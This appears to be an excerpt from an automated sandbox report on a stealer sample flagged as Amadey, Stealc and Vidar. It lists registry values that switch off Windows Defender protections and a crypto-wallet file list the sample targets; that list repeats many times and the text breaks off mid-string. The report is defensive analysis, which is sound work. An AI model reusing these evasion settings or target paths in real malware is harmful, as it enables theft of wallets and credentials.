Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C79A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C79A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6E8390 NSS_GetVersion,

0_2_6C6E8390

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 10.2.skotes.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.skotes.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DocumentsJJKEBGHJKF.exe.270000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.skotes.exe.b50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2903901457.0000000000B51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2052496873.0000000000B51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2027877406.0000000000B51000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2032579653.0000000000271000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.2571550007.000000000169E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1980746519.00000000001D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1661477949.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1987019015.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2568449016.0000000000971000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2527772656.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2012aae27e.exe PID: 7164, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1980746519.0000000000254000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 